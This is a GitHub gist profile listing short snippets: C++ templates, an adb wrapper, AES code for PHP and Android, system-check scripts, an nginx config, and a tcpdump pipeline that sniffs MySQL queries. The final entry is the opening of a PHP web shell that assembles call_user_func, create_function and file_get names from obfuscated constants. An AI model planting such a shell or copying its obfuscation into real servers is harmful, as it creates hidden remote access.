Skip to content

Instantly share code, notes, and snippets.

View suchasplus's full-sized avatar

suchasplus suchasplus

  • xmly.work
  • Beijing
View GitHub Profile
@suchasplus
suchasplus / cxx11_get_meta.cpp
Created March 16, 2016 14:15
get_class_meta_in_one_line
#define MAKE_PAIR(text) std::pair<std::string, decltype(text)>{#text, text}
template<typename T>
constexpr static inline auto apply(T const & args)
{
return args;
}
template<typename T, typename T1, typename... Args>
constexpr static inline auto apply(T const & t, const T1& first, const Args&... args)
{
@suchasplus
suchasplus / adbplus.sh
Last active January 5, 2016 15:21
adb multi select
#!/bin/bash
# Script adbplus
# Run any command adb provides on all your currently connected devices,
# Or prompt to select one device
showHelp() {
echo "Usage: adbplus [-a] <command>"
echo " -h: show help"
echo " -a: run command on all device"
echo " command: normal adb commands"
@suchasplus
suchasplus / dumpSQL.sh
Created December 28, 2015 06:41
dump sql via tcpdump
#!/bin/bash
tcpdump -i eth0 -s 0 -l -w - dst port 3306 | strings | perl -e '
while(<>) { chomp; next if /^[^ ]+[ ]*$/;
if(/^(SELECT|UPDATE|DELETE|INSERT|SET|COMMIT|ROLLBACK|CREATE|DROP|ALTER|CALL)/i)
{
if (defined $q) { print "$q\n"; }
$q=$_;
} else {
$_ =~ s/^[ \t]+//; $q.=" $_";
@suchasplus
suchasplus / aes.php
Created April 12, 2015 15:46
AES for Android and PHP
<?php
class MCryptAES {
private $iv;
private $key;
private $bit; //Only can use 128, 256
public function __construct($key, $bit = 128, $iv = "") {
if($bit == 256){
$this->key = hash('SHA256', $key, true);
}else{
$this->key = hash('MD5', $key, true);
@suchasplus
suchasplus / aes for android.java
Created April 12, 2015 15:43
AES for Android and PHP
import android.util.Base64;
import java.security.Key;
import java.security.MessageDigest;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class MCryptAES {
@suchasplus
suchasplus / cxx_compare_class_type.cpp
Created April 8, 2015 15:44
c++ compare class type with string
#include <iostream>
#include <string>
#include <type_traits>
int main()
{
std::string s;
std::cout << std::is_same<decltype(s), std::string>::value << std::endl;
char s2[] = "";
std::cout << std::is_same<decltype(s2), std::string>::value << std::endl;
@suchasplus
suchasplus / System_Check_For_Linux_Shell.sh
Last active August 29, 2015 14:17
System Check For Linux Shell
#!/bin/bash
noColor="\e[0m"
green="\e[1;32m"
yellow="\e[1;33m"
SystemDescription=$(lsb_release -d|sed -n 's/Description:[ \t]*\([a-zA-Z]*\)/\1/p')
SystemMachine=$(uname -m)
SystemKernel=$(uname -r)
SystemProcessor=$(uname -p)
@suchasplus
suchasplus / Nginx不同域名输出不同伺服器标识
Created February 2, 2015 08:12
Nginx不同域名输出不同伺服器标识 via ngx_headers_more
//ngx_headers_more
location / {
if ( $host = 'bp.biz.weibo.com' ){
more_set_headers 'Server: Nginx';
}
if ( $host = 'tui.weibo.com' ){
more_set_headers 'Server: Nginx_improved';
}
....
@suchasplus
suchasplus / list_predefined_preprocessor_symbols.sh
Created January 7, 2015 13:20
list gcc predefined preprocessor symbols
#/bin/bash
#list predefined preprocessor symbols
gcc -E -dM - < /dev/null
@suchasplus
suchasplus / php_shell_2.php
Last active August 29, 2015 14:11
PHP Shell 2
<?php
define('iphp','demo2'); //default password is : demo, 使用方法 按p 输入密码 或者 你保存的xx.php?password=demo
define('T','H*');
define('A','call');
define('B','user');
define('C','func');
define('D','create');
define('E','function');
define('F','file');
define('F1','get');